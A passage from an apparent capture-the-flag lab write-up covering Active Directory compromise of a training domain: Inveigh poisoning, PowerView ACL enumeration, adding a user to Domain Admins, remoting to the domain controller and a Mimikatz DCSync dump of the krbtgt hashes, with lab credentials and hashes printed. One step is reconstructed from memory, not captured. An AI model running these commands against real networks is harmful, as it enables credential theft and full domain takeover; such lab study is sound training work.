[+] NBNS Spoofer For Types 00,20 = Enabled
[+] NBNS TTL = 165 Seconds
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Users\Administrator\Desktop
WARNING: [!] Run Stop-Inveigh to stop
[*] Press any key to stop console output

I let it run for a while, but nothing new came through. So instead of waiting on poisoning, let's just ask the directory directly who has GenericAll over the Domain Admins group.

PS C:\Users\Administrator\Desktop> Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll"} | select SecurityIdentifier, ActiveDirectoryRights
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll"} | select SecurityIdentifier, ActiveDirectoryRights
SecurityIdentifier                            ActiveDirectoryRights
------------------                            ---------------------
S-1-5-21-3327542485-******                               GenericAll
S-1-5-18                                                 GenericAll
S-1-5-18 is just SYSTEM, so the interesting one is that first SID. Let's resolve it to a name.
PS C:\Users\Administrator\Desktop> ConvertFrom-Sid S-1-5-21-3327542485-****
ConvertFrom-Sid S-1-5-21-3327542485-*****
INLANEFREIGHT\CT***

There's our user, one who can do whatever they like to the Domain Admins group.

Crack this user's password hash and submit the cleartext password.

Heads up: something went wrong on this question. I've run this lab twice now, and this step misbehaved on the second run in a way it didn't the first time. So I don't have clean captured output for this one, but I'll walk through how it's meant to go (and how it worked for me the first time).

We use Inveigh again, this time with a fuller spoofing config to force the target user to authenticate to us.

Invoke-Inveigh Y -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP 172.16.7.60 -FileOutput Y

Start it and wait. Since we're SYSTEM on SQL01, Inveigh runs with elevated privileges and captures the NetNTLMv2 hash for the CT*** user. It gets written to Inveigh-NTLMv2.txt, and from there it's the same offline crack as before, and the cleartext comes out as cha***.

That gives us the answer.

Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host.

Now the GenericAll right pays off. We take our new credentials and run a shell as that user with runas /netonly.

PS C:\Users\AB920> runas /netonly /user:CT059 powershell.exe
Enter the password for CT059:
Attempting to start powershell.exe as user "MS01\CT059" ...

Because the user has GenericAll over Domain Admins, we can simply add them to the group and then use those now-elevated credentials to reach into DC01.

PS C:\Windows\system32> Net group "Domain Admins" ct059 /add /domain
The request will be processed at a domain controller for domain INLANEFREIGHT.LOCAL.
User ct059 is already a member of group Domain Admins.
More help is available by typing NET HELPMSG 3754.
PS C:\Windows\system32> $pass1 = ConvertTo-SecureString  'charlie1' -AsPlainText -Force
PS C:\Windows\system32> $cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT.LOCAL/CT059', $pass1)
PS C:\Windows\system32> $cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\CT059', $pass1)
PS C:\Windows\system32> Enter-PSSession -ComputerName DC01 -Credential $cred
[DC01]: PS C:\Users\CT059\Documents>

We have a session on the domain controller. Flag time.

[DC01]: PS C:\Users\CT059\Documents> cd ..\..\Administrator\Desktop\
[DC01]: PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/20/2022   3:46 AM             17 flag.txt

[DC01]: PS C:\Users\Administrator\Desktop> cat .\flag.txt
acLs_*****

Submit the NTLM hash for the KRBTGT account after achieving domain compromise.

Last one. With Domain Admin access we can DCSync the krbtgt account. I tried running Mimikatz interactively first, but it got an infinite loop and wouldn't stop, so I ran it as a one-liner instead: pass all the commands up front and exit at the end.

PS C:\Users\CT059\Documents> .\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:krbtgt" "exit"
.#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:krbtgt
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN           : krbtgt
** SAM ACCOUNT **
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 4/1/2022 7:44:51 AM
Object Security ID   : S-1-5-21-3327542485-274640656-2609762496-502
Object Relative ID   : 502
Credentials:
  Hash NTLM: 7eba70412d81c1cd030d72a3e8dbe05f
    ntlm- 0: 7eba70412d81c1cd030d72a3e8dbe05f
    lm  - 0: 71952be36b6b9624ea743f9924576514
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 6b17b95d9a625b4becbb24744db3f112
* Primary:Kerberos-Newer-Keys *
    Default Salt : INLANEFREIGHT.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b043a263ca018cee4abe757dea38e2cee7a42cc56ccb467c0639663202ddba91
      aes128_hmac       (4096) : e1fe1e9e782036060fb7cbac23c87f9d
      des_cbc_md5       (4096) : e0a7fbc176c28a37
* Primary:Kerberos *
    Default Salt : INLANEFREIGHT.LOCALkrbtgt
    Credentials
      des_cbc_md5       : e0a7fbc176c28a37
* Packages *
    NTLM-Strong-NTOWF
* Primary:WDigest *
    01  e4c9dbdc53a5c97068830d3687c7bd7c
    02  702f9704d7aaf7fee4d6020af268fa03
    03  8735d0e2dce9b52ce281a8124366a7ab
    04  e4c9dbdc53a5c97068830d3687c7bd7c
    05  702f9704d7aaf7fee4d6020af268fa03
    06  21c30e7bcddbc464538ce0f20329d076
    07  e4c9dbdc53a5c97068830d3687c7bd7c
    08  65036b1bf85a1b3c59ab55b971f1c8b3
    09  4e21ed7b2e12571d785298c2741fdc5a
    10  23225d803400647f976434dd42380da6
    11  65036b1bf85a1b3c59ab55b971f1c8b3
    12  4e21ed7b2e12571d785298c2741fdc5a
    13  38c34b1c773d59f056c88a5a25c438ea
    14  65036b1bf85a1b3c59ab55b971f1c8b3
    15  dff1b3a336808c31e2c967ff6cde69b4
    16  ff19c32433737df30917614eac40cab3
    17  1fff3c676b60fb32e5a8bd09bd247c35
    18  c60255dca3987a84ae478fdc0af22153
    19  054dfd68a67853b23061582f1a8add58
    20  baed146cbf8ba66831c2aac491d7e197
    21  0172b769f8aa03417b669697adaf1f91
    22  0172b769f8aa03417b669697adaf1f91
    23  39a371ce641e180f0b8c8cb73134aff7
    24  5887d75a23d31fed8cf4e623b644a3f3
    25  381f5d51523305b44108ebe9fd282e7f
    26  a1a2f3dbc053aa4d637185da440b1358
    27  f2ed0ab9bbd8a7f2c4f4f7a05a4b7dbc
    28  f0268eff3565cb998f427e1b81d4cba9
    29  e77ae8996754503567936ceaf931aa2b

mimikatz(commandline) # exit

The Hash NTLM line is the last flag. With the krbtgt hash in hand, the domain is fully and durably owned, and this is what Golden Ticket attacks are built on.

What We Learned

  • No credentials? Poison for them. With nothing but network access, LLMNR/NBT-NS poisoning via Responder handed us our first domain hash, and a single mistyped hostname was all it took.
  • Weak password policy is an open door. Lockout threshold: Never meant we could spray freely, and one guess landed a second user with no risk of locking anyone out. Yet we should avoid spray too much so we don't get caught or get suspicious.
  • Config files leak secrets. A web.config sitting in a readable share gave up a plaintext MSSQL connection string.
  • SeImpersonatePrivilege is game over on a host. From a SQL service account, PrintSpoofer turned that one privilege straight into SYSTEM.
  • ACLs are the quiet path to domain admin. GenericAll over the Domain Admins group let us add our own user in, no exploit, just a misconfigured right.
  • DCSync is the endgame. Domain compromise plus replication rights means dumping the krbtgt hash, and that hash is the key to persistent, domain-wide access.

Thanks for reading. Pix out.